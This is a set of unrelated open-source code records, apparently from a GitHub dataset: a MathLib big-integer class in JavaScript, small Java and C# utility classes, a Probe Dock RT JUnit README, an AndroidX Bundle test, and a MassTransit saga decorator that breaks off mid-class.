text:
    'use strict';

    /*es6
    import {coerce, divide, isEqual, isPosZero, minus, mod, plus, pow, sign, times} from 'Functn';
    import {CoercionError} from 'CoercionError';
    import {Complex} from 'Complex';
    import {Rational} from 'Rational';
    es6*/
    define(['meta', 'Functn', 'CoercionError'], function(MathLib) {
    /**
    * MathLib.Integer is the MathLib implementation of (arbitrary precision) integers.
    *
    *
    * #### Simple example:
    * ```
    * // Create the integer
    * var int = new MathLib.Integer('123456789');
    * ```
    *
    * @class
    * @this {Integer}
    */
    var Integer = (function () {
        function Integer(integer, options) {
            if (typeof options === "undefined") { options = {}; }
            this.type = 'integer';
            var i, res, factor, blocksize, inputBase = options.base || 10, base = Math.pow(2, 26), data = [], sign = '+';

            if (Array.isArray(integer)) {
                i = integer.length - 1;
                while (integer[i] === 0) {
                    i--;
                }
                data = integer.slice(0, i + 1);
            }

            if (typeof integer === 'number') {
                if (integer === 0) {
                    sign = MathLib.isPosZero(integer) ? '+' : '-';
                    data.push(0);
                } else {
                    if (integer < 0) {
                        sign = '-';
                        integer = -integer;
                    }
                    while (integer) {
                        data.push(integer % base);
                        integer = Math.floor(integer / base);
                    }
                }
            } else if (typeof integer === 'string') {
                if (integer[0] === '+' || integer[0] === '-') {
                    sign = integer[0];
                    integer = integer.slice(1);
                }

                data = [];
                blocksize = Math.floor(Math.log(Math.pow(2, 53)) / Math.log(inputBase));

                while (integer.length > blocksize) {
                    data.push(new MathLib.Integer(parseInt(integer.slice(-blocksize), inputBase)));
                    integer = integer.slice(0, -blocksize);
                }
                data.push(new MathLib.Integer(parseInt(integer, inputBase)));

                res = data[data.length - 1];
                factor = new MathLib.Integer(Math.pow(inputBase, blocksize));
                for (i = data.length - 2; i >= 0; i--) {
                    res = res.times(factor).plus(data[i]);
                }

                data = res.data;
                /*
                data.push(
                Number(
                Array.prototype.reduceRight.call(integer, function (old, cur) {
                if (old.length === blocksize) {
                data.push(Number(cur + old));
                return '';
                }
                return cur + old;
                })
                )
                )
                */
            }

            if ('sign' in options) {
                sign = options.sign;
            }

            this.data = data;
            this.sign = sign;
        }
        /**
        * The characteristic of the ring of integers is 0.
        *
        * @return {Integer}
        */
        Integer.characteristic = function () {
            return new MathLib.Integer(0);
        };

        /**
        * Returns a random element of the ring of integers
        * in the intervall [start, end] (both endpoits included).
        * If the second argument is not provided, the intervall is
        * [start, 0] (if start is negative) or [0, start] (if start is positive).
        * Again, both endpoits are included.
        *
        * @param {start} Integer - the integer starting the intervall
        * @param {end} Integer - the integer ending the intervall
        * @return {Integer}
        */
        Integer.randomElement = function (start, end) {
            var i, endMinusStart, arr = [], base = Math.pow(2, 26);

            if (arguments.length === 1) {
                endMinusStart = start;
            } else {
                endMinusStart = end.minus(start);
            }

            for (i = 1; i < endMinusStart.data.length; i++) {
                arr.push(Math.floor(Math.random() * base));
            }

            arr.push(Math.floor(Math.random() * (endMinusStart.data[endMinusStart.data.length - 1] + 1)));

            if (arguments.length === 1) {
                return (new MathLib.Integer(arr, { sign: start.sign }));
            } else {
                return (new MathLib.Integer(arr)).plus(start);
            }
        };

        /**
        * A content MathML string representation
        *
        * @return {string}
        */
        Integer.toContentMathML = function (options) {
            if (typeof options === "undefined") { options = {}; }
            if (options.strict) {
                return '<csymbol cd="setname1">Z</csymbol>';
            }
            return '<integers/>';
        };

        /**
        * A LaTeX string representation
        *
        * @return {string}
        */
        Integer.toLaTeX = function () {
            return 'Integer Ring $\\mathbb{Z}$';
        };

        /**
        * A presentation MathML string representation
        *
        * @return {string}
        */
        Integer.toMathML = function () {
            return '<mrow><mtext>Integer Ring</mtext><mi mathvariant="double-struck">Z</mi></mrow>';
        };

        /**
        * Custom toString function
        *
        * @return {string}
        */
        Integer.toString = function () {
            return 'Integer Ring ℤ';
        };

        /**
        * Calculates the absolute value of the integer
        *
        * @return {Integer}
        */
        Integer.prototype.abs = function () {
            return new MathLib.Integer(this.data, { sign: '+' });
        };

        /**
        * Calculates the ceil of the integer
        *
        * @return {Integer}
        */
        Integer.prototype.ceil = function () {
            return this.copy();
        };

        /**
        * Coerces the integer to some other data type
        *
        * @param {string} type The type to coerce the integer into
        * @return {Integer|Rational|number|Complex}
        */
        Integer.prototype.coerceTo = function (type) {
            var num;

            if (type === 'integer') {
                return this.copy();
            } else if (type === 'rational') {
                return new MathLib.Rational(this, 1);
            } else if (type === 'complex') {
                return new MathLib.Complex(this, 0);
            } else if (type === 'number') {
                // TODO: Warn when the number is bigger that 2^53
                num = this.data.reduce(function (old, cur, i) {
                    return old + cur * Math.pow(1e7, i);
                }, 0);

                if (this.sign === '-') {
                    num = -num;
                }

                return num;
            } else {
                throw new MathLib.CoercionError('Cannot coerce the integer to "' + type + '".', {
                    method: 'Integer.prototype.coerceTo'
                });
            }
        };

        /**
        * Compares the integer
        *
        * @return {Integer}
        */
        Integer.prototype.compare = function (n) {
            var i;
            if (this.sign !== n.sign) {
                if (this.isZero() && n.isZero()) {
                    return 0;
                }
                if (this.sign === '+') {
                    return 1;
                }
                return -1;
            }

            if (this.data.length !== n.data.length) {
                if (this.sign === '+') {
                    return MathLib.sign(this.data.length - n.data.length);
                } else {
                    return MathLib.sign(n.data.length - this.data.length);
                }
            } else {
                for (i = this.data.length - 1; i >= 0; i--) {
                    if (this.data[i] !== n.data[i]) {
                        if (this.sign === '+') {
                            return MathLib.sign(this.data[i] - n.data[i]);
                        } else {
                            return MathLib.sign(n.data[i] - this.data[i]);
                        }
                    }
                }
                return 0;
            }
        };

        /**
        * Calculates the complex conjugate of the integer
        *
        * @return {Integer}
        */
        Integer.prototype.conjugate = function () {
            return this.copy();
        };

        /**
        * Copy the integer
        *
        * @return {Integer}
        */
        Integer.prototype.copy = function () {
            return new MathLib.Integer(this.data, { sign: this.sign });
        };

        /**
        * Calculates the digit sum to a given base
        *
        * @param {number} [base=10] - The base
        * @return {Integer}
        */
        Integer.prototype.digitSum = function (base) {
            if (typeof base === "undefined") { base = 10; }
            return new MathLib.Integer(this.digits(base).reduce(function (x, y) {
                return x + y;
            }));
        };

        /**
        * Returns the digits of the integer in a given base
        *
        * @param {number} [base=10] - The base
        * @return {number[]}
        */
        Integer.prototype.digits = function (base) {
            if (typeof base === "undefined") { base = 10; }
            var div, rem, temp, factor = new MathLib.Integer(base), n = this.abs(), digits = [];

            if (n.isZero()) {
                return [0];
            } else {
                while (!n.isZero()) {
                    temp = n.divrem(factor);
                    div = temp[0];
                    rem = temp[1];

                    digits.unshift(rem.data[0]);
                    n = div;
                }
            }

            return digits;
        };

        /**
        * Divides the integer by some other number.
        *
        * @param {Integer|Rational|number|Complex} divisor - The divisor
        * @return {Integer|Rational|number|Complex}
        */
        Integer.prototype.divide = function (divisor) {
            var divrem;

            if (divisor.type !== 'integer') {
                return MathLib.divide.apply(null, MathLib.coerce(this, divisor));
            } else {
                divrem = this.divrem(divisor);

                if (divrem[1].isZero()) {
                    return divrem[0];
                }

                return new MathLib.Rational(this, divisor);
            }
        };

        /**
        * Returns an array containing the quotient and the remainder of the division.
        *
        * Based on the "Schoolbook Division" in
        * Karl Hasselström's "Fast Division of Large Integers"
        * http://www.treskal.com/kalle/exjobb/original-report.pdf
        *
        * @param {Integer} divisor - The divisor
        * @return {Integer[]}
        */
        Integer.prototype.divrem = function (divisor) {
            var main, subroutine, quot, mult, temp, rem, base = Math.pow(2, 26);

            // Algorithm 3.1 Schoolbook division subroutine
            subroutine = function (A, B) {
                var q, T, temp, B1, n = A.data.length - 1;

                // Step 1
                if (A.data[n] >= B.data[n - 1]) {
                    B1 = B.copy();
                    B1.data.unshift(0);
                    temp = subroutine(A.minus(B1), B);
                    return [temp[0].plus(new MathLib.Integer(base)), temp[1]];
                }

                // Step 2
                // nothing to do
                // Step 3
                q = new MathLib.Integer(Math.min(Math.floor((A.data[n] * base + A.data[n - 1]) / B.data[n - 1]), base - 1));

                // Step 4
                T = B.times(q);

                // Step 5
                if (T.compare(A) === 1) {
                    q = q.minus(new MathLib.Integer(1));
                    T = T.minus(B);
                }

                // Step 6
                if (T.compare(A) === 1) {
                    q = q.minus(new MathLib.Integer(1));
                    T = T.minus(B);
                }

                // Step 7
                return [q, A.minus(T)];
            };

            // Algorithm 3.2 Schoolbook division
            main = function (A, B) {
                var q, r, q1, r1, temp, A1, s, m = A.data.length - 1, n = B.data.length - 1;

                // Step 1
                if (m < n) {
                    return [new MathLib.Integer(0), A.copy()];
                }

                // Step 2
                if (m === n) {
                    if (A.compare(B) === -1) {
                        return [new MathLib.Integer(0), A.copy()];
                    } else {
                        return [new MathLib.Integer(1), A.minus(B)];
                    }
                }

                // Step 3
                if (m === n + 1) {
                    return subroutine(A, B);
                }

                // Step 4
                // A1 = floor(A / base^(m-n-1))
                A1 = new MathLib.Integer(A.data.slice(m - n - 1));
                s = new MathLib.Integer(A.data.slice(0, m - n - 1));

                // Step 5
                temp = subroutine(A1, B);
                q1 = temp[0];
                r1 = temp[1];

                // Step 6
                temp = main(new MathLib.Integer(s.data.concat(r1.data)), B);
                q = temp[0];
                r = temp[1];

                // Step 7
                return [new MathLib.Integer(q.data.concat(q1.data)), r];
            };

            if (this.isZero()) {
                return [new MathLib.Integer(0), new MathLib.Integer(0)];
            }

            if (divisor.data[divisor.data.length - 1] < base / 2) {
                mult = new MathLib.Integer(Math.ceil(base / (2 * divisor.data[divisor.data.length - 1])));
                temp = main(this.abs().times(mult), divisor.abs().times(mult));
                quot = temp[0];
                rem = new MathLib.Integer(temp[1].data[0] / mult.data[0]);
            } else {
                temp = main(this.abs(), divisor.abs());
                quot = temp[0];
                rem = temp[1];
            }

            if (this.sign === '-' && !rem.isZero()) {
                quot = quot.plus(new MathLib.Integer(1));
                rem = divisor.abs().minus(rem);
            }

            if (this.sign !== divisor.sign) {
                quot = quot.negative();
            }

            return [quot, rem];
        };

        /**
        * Calculates the factorial of the integer
        *
        * @return {Integer}
        */
        Integer.prototype.factorial = function () {
            if (this.isZero()) {
                return new MathLib.Integer('1');
            }

            if (this.sign === '-') {
                return new MathLib.Complex(Infinity);
            }

            var factorial = this, n = this.minus(new MathLib.Integer('1'));

            while (!n.isZero()) {
                factorial = factorial.times(n);
                n = n.minus(new MathLib.Integer('1'));
            }

            return factorial;
        };

        /**
        * Calculates the floor of the integer
        *
        * @return {Integer}
        */
        Integer.prototype.floor = function () {
            return this.copy();
        };

        /**
        * Checks if the current integer is equal to some other number
        *
        * @param {any} n The number to check
        * @return {boolean}
        */
        Integer.prototype.isEqual = function (n) {
            var i, ii;

            if (n.type !== 'integer') {
                return MathLib.isEqual(MathLib.coerce(this, n));
            } else {
                if (this.sign !== n.sign) {
                    if (this.isZero() && n.isZero()) {
                        return true;
                    }
                    return false;
                }

                if (this.data.length !== n.data.length) {
                    return false;
                }

                for (i = 0, ii = this.data.length; i < ii; i++) {
                    if (this.data[i] !== n.data[i]) {
                        return false;
                    }
                }

                return true;
            }
        };

        /**
        * All integers are finite
        *
        * @return {boolean}
        */
        Integer.prototype.isFinite = function () {
            return true;
        };

        /**
        * No Integer is NaN
        *
        * @return {boolean}
        */
        Integer.prototype.isNaN = function () {
            return false;
        };

        /**
        * Checks if the integer is a unit in the ring of integers or not
        *
        * @return {boolean}
        */
        Integer.prototype.isUnit = function () {
            var i, ii;

            for (i = 1, ii = this.data.length; i < ii; i++) {
                if (this.data[i] !== 0) {
                    return false;
                }
            }

            if (this.data[0] === 1) {
                return true;
            }

            return false;
        };

        /**
        * Checks if the integer is zero or not
        *
        * @return {boolean}
        */
        Integer.prototype.isZero = function () {
            return this.data.every(function (x) {
                return x === 0;
            });
        };

        /**
        * Calculates the floor of the square root of the integer
        *
        * @return {Integer}
        */
        Integer.prototype.isqrt = function () {
            var y, two = new MathLib.Integer('2'), numberofbits = ((this.data.length - 1) * 25 + 1 + Math.log(this.data[this.data.length - 1]) / Math.log(2)), x = (new MathLib.Integer(2)).pow(new MathLib.Integer(Math.ceil(numberofbits / 2)));

            while (true) {
                y = x.plus(this.divrem(x)[0]).divrem(two)[0];

                if (y.minus(x).isZero()) {
                    return x;
                }
                x = y;
            }
        };

        /**
        * Subtracts a number from the current integer
        *
        * @param {Integer|Rational|number|Complex} n - The number to subtract
        * @return {Integer}
        */
        Integer.prototype.minus = function (n) {
            var i, ii, temp, resPos, A, B, data = [], carry = 0, sign = '+', base = Math.pow(2, 26);

            if (n.type !== 'integer') {
                return MathLib.minus.apply(null, MathLib.coerce(this, n));
            } else {
                if (this.sign === '-') {
                    if (n.sign === '-') {
                        return n.negative().minus(this.negative());
                    } else {
                        temp = this.negative().plus(n);
                        temp.sign = '-';
                        return temp;
                    }
                } else {
                    if (n.sign === '-') {
                        return this.plus(n.negative());
                    }
                }

                if (this.data.length !== n.data.length) {
                    resPos = this.data.length > n.data.length;

                    while (this.data.length < n.data.length) {
                        this.data.push(0);
                    }
                    while (this.data.length > n.data.length) {
                        n.data.push(0);
                    }
                } else {
                    for (i = this.data.length - 1; i >= 0; i--) {
                        if (this.data[i] !== n.data[i]) {
                            resPos = this.data[i] > n.data[i];
                            break;
                        }
                    }
                    if (typeof resPos === 'undefined') {
                        return new MathLib.Integer(0);
                    }
                }

                if (resPos) {
                    A = this;
                    B = n;
                    sign = '+';
                } else {
                    A = n;
                    B = this;
                    sign = '-';
                }

                for (i = 0, ii = A.data.length; i < ii; i++) {
                    temp = A.data[i] - B.data[i] + carry;
                    carry = Math.floor(temp / base);
                    data[i] = MathLib.mod(temp, base);
                }

                return new MathLib.Integer(data, { sign: sign });
            }
        };

        /**
        * Reduces the integer modulo an other number.
        *
        * @param {Integer|number} n - The number with which the current integer should be reduced
        * @return {Integer|number}
        */
        Integer.prototype.mod = function (n) {
            if (n.type !== 'integer') {
                return MathLib.mod.apply(null, MathLib.coerce(this, n));
            } else {
                return this.divrem(n)[1];
            }
        };

        /**
        * Calculates the negative integer
        *
        * @return {Integer}
        */
        Integer.prototype.negative = function () {
            return new MathLib.Integer(this.data, { sign: this.sign === '-' ? '+' : '-' });
        };

        /**
        * Adds a number to the current integer
        *
        * @param {Integer|Rational|number|Complex} n - The number to add
        * @return {Integer}
        */
        Integer.prototype.plus = function (n) {
            var i, ii, temp, data = [], carry = 0, base = Math.pow(2, 26);

            if (n.type !== 'integer') {
                return MathLib.plus(MathLib.coerce(this, n));
            } else {
                if (this.sign === '-') {
                    if (n.sign === '+') {
                        return n.minus(this.negative());
                    }
                } else if (n.sign === '-') {
                    return this.minus(n.negative());
                }

                if (this.data.length !== n.data.length) {
                    while (this.data.length < n.data.length) {
                        this.data.push(0);
                    }
                    while (this.data.length > n.data.length) {
                        n.data.push(0);
                    }
                }

                for (i = 0, ii = this.data.length; i < ii; i++) {
                    temp = this.data[i] + n.data[i] + carry;

                    data[i] = temp % base;
                    carry = Math.floor(temp / base);
                }

                if (carry !== 0) {
                    data[i] = carry;
                }

                return new MathLib.Integer(data, { sign: this.sign });
            }
        };

        /**
        * Raises the integer to a certain power.
        *
        * @param {Integer|Rational|number|Complex} exponent - The exponent
        * @return {Integer|Rational}
        */
        Integer.prototype.pow = function (exponent) {
            var powInt, result;

            if (exponent.type !== 'integer') {
                return MathLib.pow.apply(null, MathLib.coerce(this, exponent));
            } else {
                powInt = function (b, e) {
                    var res, i, half = [], carry = 0;

                    if (e.data.length === 1 && e.data[0] === 1) {
                        return b;
                    }

                    for (i = e.data.length - 1; i >= 0; i--) {
                        half[i] = Math.floor(e.data[i] / 2) + carry;

                        if (e.data[i] % 2) {
                            carry = 5e6;
                        } else {
                            carry = 0;
                        }
                    }

                    res = powInt(b, new MathLib.Integer(half));
                    res = res.times(res);

                    if (e.data[0] % 2) {
                        res = res.times(b);
                    }

                    return res;
                };

                if (exponent.isZero()) {
                    return new MathLib.Integer(1);
                }

                result = powInt(this, exponent);

                if (exponent.sign === '-') {
                    return new MathLib.Rational(new MathLib.Integer('1'), result);
                }

                return result;
            }
        };

        /**
        * Multiplies a number to the current integer
        *
        * @param {Integer|Rational|number|Complex} n - The number to multiply
        * @return {Integer}
        */
        Integer.prototype.times = function (n) {
            var i, ii, j, jj, temp, data = [], carry = 0, base = Math.pow(2, 26);

            if (n.type !== 'integer') {
                return MathLib.times(MathLib.coerce(this, n));
            } else {
                for (i = 0, ii = this.data.length; i < ii; i++) {
                    for (j = 0, jj = n.data.length; j < jj; j++) {
                        if (data[i + j] === undefined) {
                            data[i + j] = this.data[i] * n.data[j];
                        } else {
                            data[i + j] += this.data[i] * n.data[j];
                        }
                    }
                }

                for (i = 0, ii = this.data.length + n.data.length - 1; i < ii; i++) {
                    temp = data[i] + carry;
                    carry = Math.floor(temp / base);
                    data[i] = temp % base;
                }
                data[i] = carry;

                return new MathLib.Integer(data, { sign: this.sign === n.sign ? '+' : '-' });
            }
        };

        /**
        * A content MathML string representation
        *
        * @param {object} [options] - Optional options to style the output
        * @return {string}
        */
        Integer.prototype.toContentMathML = function (options) {
            if (typeof options === "undefined") { options = {}; }
            var base = options.base || 10;

            // In section 4.2.1.3 in the MathML 3 specification
            // under "Rewrite: cn based_integer" it says
            // "A base attribute with value 10 is simply removed"
            if (base === 10) {
                return '<cn type="integer">' + this.toString() + '</cn>';
            } else if (options.strict) {
                return '<apply><csymbol cd="nums1">based_integer</csymbol><cn>' + base + '</cn><cs>' + this.toString({ base: base }) + '</cs></apply>';
            } else {
                return '<cn type="integer" base="' + base + '">' + this.toString({ base: base }) + '</cn>';
            }
        };

        /**
        * A LaTeX string representation
        *
        * @param {object} [options] - Optional options to style the output
        * @return {string}
        */
        Integer.prototype.toLaTeX = function (options) {
            if (typeof options === "undefined") { options = {}; }
            var option, str, base = options.base || 10, passOptions = {};

            for (option in options) {
                if (options.hasOwnProperty(option) && option !== 'baseSubscript') {
                    passOptions[option] = options[option];
                }
            }

            str = this.toString(passOptions);

            if (options.baseSubscript) {
                str += '_{' + base + '}';
            }

            return str;
        };

        /**
        * A presentation MathML string representation
        *
        * @param {object} [options] - Optional options to style the output
        * @return {string}
        */
        Integer.prototype.toMathML = function (options) {
            if (typeof options === "undefined") { options = {}; }
            var str, option, base = options.base || 10, passOptions = {};

            for (option in options) {
                if (options.hasOwnProperty(option) && option !== 'baseSubscript') {
                    passOptions[option] = options[option];
                }
            }

            str = '<mn>' + this.toString(passOptions) + '</mn>';

            if (options.baseSubscript) {
                str = '<msub>' + str + '<mn>' + base + '</mn></msub>';
            }

            return str;
        };

        /**
        * Custom toString function
        *
        * @param {object} [options] - Optional options to style the output
        * @return {string}
        */
        Integer.prototype.toString = function (options) {
            if (typeof options === "undefined") { options = {}; }
            var div, rem, temp, base = options.base || 10, blocksize = Math.floor(Math.log(Math.pow(2, 26) - 1) / Math.log(base)), factor = new MathLib.Integer(Math.pow(base, blocksize)), n = this.abs(), str = '';

            if (n.isZero()) {
                str = '0';
            } else {
                while (!n.isZero()) {
                    temp = n.divrem(factor);
                    div = temp[0];
                    rem = temp[1];

                    str = ('000000' + rem.data[0].toString(base)).slice(-blocksize) + str;
                    n = div;
                }

                str = str.replace(/^0+/, '');

                if (this.sign === '-') {
                    str = '-' + str;
                }
            }

            if (options.sign && (this.sign === '+' || this.isZero())) {
                str = '+' + str;
            }

            if (options.baseSubscript) {
                if (base > 9) {
                    str += '&#x208' + Math.floor(base / 10) + ';';
                }
                str += '&#x208' + (base % 10) + ';';
            }

            return str;
        };
        return Integer;
    })();
    MathLib.Integer = Integer;
return MathLib;
});


text:
using System;

namespace Toggl.Shared.Models
{
    public interface ILastChangedDatable
    {
        DateTimeOffset At { get; }
    }
}

redpajama_set_name: RedPajamaGithub


text:
package com.vizabyte.utils;

import java.io.Closeable;
import java.io.IOException;

public class IOUtils {

	public static void closeQuietly(Closeable closable){
		if (closable != null){
			try {
				closable.close();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}

}


text:
> Junit probe for [Probe Dock RT](https://github.com/probedock/probedock-rt) written in Java.

## Requirements

* Java 6+

## Usage

1. Put the following dependency in your pom.xml

```xml
<dependency>
  <groupId>io.probedock.rt.client</groupId>
  <artifactId>probedock-rt-junit</artifactId>
  <version>0.4.3</version>
  <scope>test</scope>
</dependency>
```

2. Configuration with Maven Surefire

```xml
<plugins>
  <!-- Add the Maven Surefire plugin or adapt its configuration. -->
  <plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-surefire-plugin</artifactId>
    <version>2.18.1</version>
    <configuration>
      <properties>
        <property>
          <name>listener</name>
          <value>io.probedock.rt.client.junit.ProbeRTListener</value>
        </property>
      </properties>
    </configuration>
  </plugin>
</plugins>
```

If you want to use Probe Dock and Probe Dock RT at the same time, you can configure several listeners in the `maven surefire`
plugin.

**Warning**: Take car of spaces, the plugin will consider them as part of class names. This will produce an error saying
the class is missing.

```xml
<plugins>
  <!-- Add the Maven Surefire plugin or adapt its configuration. -->
  <plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-surefire-plugin</artifactId>
    <version>2.18.1</version>
    <configuration>
      <properties>
        <property>
          <name>listener</name>
          <value>io.probedock.client.junit.ProbeListener,io.probedock.rt.client.junit.ProbeRTListener</value>
        </property>
      </properties>
    </configuration>
  </plugin>
</plugins>
```

3. Annotate your test classes like the following. If you have already a test runner (Spring, Android, ...) or if you
prefer to keep the Junit runner free for anything else, take a look to the alternative way to use Probe Dock RT.

```java
@RunWith(ProbeDockRTBlockJUnit4ClassRunner.class)
```

## Alternative usage

There is an alternative way to use Probe Dock RT. The probe provides a `@Rule` which does the filtering before evaluating
the tests. Then, the filtering process can be done at the right time.

```java
public TestClass {
	@Rule
	public ProbeDockRTRule filterRule = new ProbeDockRTRule();

	...
}
```

**Remark**: The price for this solution is that we use `Assume.assumeTrue(false)` to force the test to be skipped. Depending
on the runner, the test can be marked as skipped, passed or failed. The default Junit runner will mark the test as skipped.

## Code usage

Once you have setup everything correctly, you can start to write tests as usual. You have to annotate each test method
with `@Test` like you do normally. You can use the annotation ´@ProbeTest´ or not. It is no more mandatory to have this
annotation present on your test methods.

If you choose to use the `@ProbeTest` annotation, you can leave the `key` value blank. This value is not mandatory.
When the `key` is not provided, a fingerprint of the tests are used to identify your tests in a unique way.

In `Probe Dock RT`, you will see `package.class.method` in place of standard keys when they are not available. The `key`
filtering try first by the normal `key` mechanism and if not present on the test, try to match `package.class.method` as
a fallback.

## Integrations

We have tested this probe with:

* Intelij IDEA 14. **Note**: The runner in this IDE will log few lines of stack traces like:

  ```bash
  Test '.Tests in Progress.testName' ignored
  org.junit.AssumptionViolatedException: got: <false>, expected: is <true>

  	at org.junit.Assume.assumeThat(Assume.java:95)
  	at org.junit.Assume.assumeTrue(Assume.java:41)
  	at io.probedock.rt.client.junit.ProbeDockRTRule$1.evaluate(ProbeDockRTRule.java:28)
  	...
  	at com.intellij.rt.execution.application.AppMain.main(AppMain.java:140)
  ```

  This is only a logging message and the status in the IDE is really that the test is skipped. In Probe Dock RT, you should
  only see the results of the filtered tests.

  **Severe limitation**: Currently, there is no possibility to add a Junit listener. Therefore, the test results are not
  captured by Probe Dock RT when run directly in Intelij IDEA. If Maven is used to run the tests, there is no problem.

* NetBeans 8+. As NetBeans use a Maven command to run the tests, the integration is really smooth. The tests filtered are
marked as skipped.

## Contributing

* [Fork](https://help.github.com/articles/fork-a-repo)
* Create a topic branch - `git checkout -b feature`
* Push to your branch - `git push origin feature`
* Create a [pull request](http://help.github.com/pull-requests/) from your branch

Please add a changelog entry with your name for new features and bug fixes.

## License

**probedock-rt-junit** is licensed under the [MIT License](http://opensource.org/licenses/MIT).
See [LICENSE.txt](LICENSE.txt) for the full text.


text:
package io.crate.auth.user;

import io.crate.user.SecureHash;
import org.elasticsearch.action.support.master.AcknowledgedRequest;
import javax.annotation.Nullable;
import org.elasticsearch.common.io.stream.StreamInput;
import org.elasticsearch.common.io.stream.StreamOutput;

import java.io.IOException;

public class CreateUserRequest extends AcknowledgedRequest<CreateUserRequest> {

    private final String userName;
    @Nullable
    private final SecureHash secureHash;

    public CreateUserRequest(String userName, @Nullable SecureHash attributes) {
        this.userName = userName;
        this.secureHash = attributes;
    }

    public String userName() {
        return userName;
    }

    @Nullable
    public SecureHash secureHash() {
        return secureHash;
    }

    public CreateUserRequest(StreamInput in) throws IOException {
        super(in);
        userName = in.readString();
        secureHash = in.readOptionalWriteable(SecureHash::readFrom);
    }

    @Override
    public void writeTo(StreamOutput out) throws IOException {
        super.writeTo(out);
        out.writeString(userName);
        out.writeOptionalWriteable(secureHash);
    }
}


text:
<script type="text/javascript">
(function() {
  var regexp;

  regexp = /\n/;

}).call(this);
(function(){var n;n={square:function(n){return n*n}}}).call(this);
</script>


text:
package java.lang;

public class Class<T> {
    // This space intentionally left blank.
}


text:
package androidx.test.ext.truth.os;

import static androidx.test.ext.truth.os.BundleSubject.assertThat;

import android.accounts.Account;
import android.content.Intent;
import android.os.Bundle;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.ext.truth.content.IntentSubject;
import com.google.common.collect.Lists;
import org.junit.Test;
import org.junit.runner.RunWith;

/** Test for {@link BundleSubject}. */
@RunWith(AndroidJUnit4.class)
public class BundleSubjectTest {

  @Test
  public void isEmpty() {
    Bundle bundle = new Bundle();
    assertThat(bundle).isEmpty();
    bundle.putString("foo", "bar");

    assertThat(bundle).isNotEmpty();
  }

  @Test
  public void hasSize() {
    Bundle bundle = new Bundle();
    bundle.putString("foo", "bar");

    assertThat(bundle).hasSize(1);
  }

  @Test
  public void containsKey() {
    Bundle bundle = new Bundle();
    assertThat(bundle).doesNotContainKey("foo");
    bundle.putString("foo", "bar");

    assertThat(bundle).containsKey("foo");
  }

  @Test
  public void string() {
    Bundle bundle = new Bundle();
    bundle.putString("foo", "bar");

    assertThat(bundle).string("foo").isEqualTo("bar");
  }

  @Test
  public void integer() {
    Bundle bundle = new Bundle();
    bundle.putInt("foo", 1);

    assertThat(bundle).integer("foo").isEqualTo(1);
  }

  @Test
  public void longInt() {
    Bundle bundle = new Bundle();
    bundle.putLong("foo", 100_0000_000_000L);

    assertThat(bundle).longInt("foo").isEqualTo(100_0000_000_000L);
  }

  @Test
  public void doubleFloat() {
    Bundle bundle = new Bundle();
    bundle.putDouble("foo", 100.0);

    assertThat(bundle).doubleFloat("foo").isEqualTo(100.0);
  }

  @Test
  public void bool() {
    Bundle bundle = new Bundle();
    bundle.putBoolean("foo", true);

    assertThat(bundle).bool("foo").isTrue();
  }

  @Test
  public void parcelable() {
    Bundle bundle = new Bundle();
    Account account = new Account("bar", "type");
    bundle.putParcelable("foo", account);

    assertThat(bundle).<Account>parcelable("foo").isEqualTo(account);
  }

  @Test
  public void parcelableAsType() {
    Bundle bundle = new Bundle();
    Intent intent = new Intent("bar");
    bundle.putParcelable("foo", intent);

    assertThat(bundle).parcelableAsType("foo", IntentSubject.intents()).hasAction("bar");
  }

  @Test
  public void stringArray() {
    Bundle bundle = new Bundle();
    bundle.putStringArray("foo", new String[] {"bar", "baz"});

    assertThat(bundle).stringArray("foo").asList().containsExactly("bar", "baz").inOrder();
  }

  @Test
  public void stringArrayList() {
    Bundle bundle = new Bundle();
    bundle.putStringArrayList("foo", Lists.newArrayList("bar", "baz"));

    assertThat(bundle).stringArrayList("foo").containsExactly("bar", "baz").inOrder();
  }

  @Test
  public void parcelableArrayList() {
    Bundle bundle = new Bundle();
    Intent intent1 = new Intent("bar");
    Intent intent2 = new Intent("baz");
    bundle.putParcelableArrayList("foo", Lists.newArrayList(intent1, intent2));

    assertThat(bundle).parcelableArrayList("foo").containsExactly(intent1, intent2).inOrder();
  }

  @Test
  public void serializable() {
    Bundle bundle = new Bundle();
    bundle.putSerializable("color", Color.GREEN);

    assertThat(bundle).serializable("color").isEqualTo(Color.GREEN);
  }

  // An enum is a simple example of a Serializable object.
  enum Color {
    RED,
    GREEN,
    BLUE
  }
}


text:
namespace MassTransit.Testing.Decorators
{
    using System;
    using System.Threading.Tasks;
    using GreenPipes;
    using MessageObservers;
    using Saga;

    public class TestSagaRepositoryDecorator<TSaga> :
        ISagaRepository<TSaga>
        where TSaga : class, ISaga
    {
        readonly SagaList<TSaga> _created;
        readonly ReceivedMessageList _received;
        readonly ISagaRepository<TSaga> _sagaRepository;
        readonly SagaList<TSaga> _sagas;

        public TestSagaRepositoryDecorator(ISagaRepository<TSaga> sagaRepository, ReceivedMessageList received, SagaList<TSaga> created,
            SagaList<TSaga> sagas)
        {
            _sagaRepository = sagaRepository;
            _received = received;
            _created = created;
            _sagas = sagas;
        }

        void IProbeSite.Probe(ProbeContext context)
        {
            _sagaRepository.Probe(context);
        }

        Task ISagaRepository<TSaga>.Send<T>(ConsumeContext<T> context, ISagaPolicy<TSaga, T> policy, IPipe<SagaConsumeContext<TSaga, T>> next)
        {
            var interceptPipe = new InterceptPipe<T>(_sagas, _received, next);
            var interceptPolicy = new InterceptPolicy<T>(_created, policy);

            return _sagaRepository.Send(context, interceptPolicy, interceptPipe);
        }

        Task ISagaRepository<TSaga>.SendQuery<T>(SagaQueryConsumeContext<TSaga, T> context, ISagaPolicy<TSaga, T> policy,
            IPipe<SagaConsumeContext<TSaga, T>> next)
        {
            var interceptPipe = new InterceptPipe<T>(_sagas, _received, next);
            var interceptPolicy = new InterceptPolicy<T>(_created, policy);

            return _sagaRepository.SendQuery(context, interceptPolicy, interceptPipe);
        }

        class InterceptPipe<TMessage> :
            IPipe<SagaConsumeContext<TSaga, TMessage>>
            where TMessage : class
        {
            readonly IPipe<SagaConsumeContext<TSaga, TMessage>> _pipe;
            readonly ReceivedMessageList _received;
            readonly SagaList<TSaga> _sagas;

            public InterceptPipe(SagaList<TSaga> sagas, ReceivedMessageList received, IPipe<SagaConsumeContext<TSaga, TMessage>> pipe)
            {
                _sagas = sagas;
                _received = received;
                _pipe = pipe;
            }
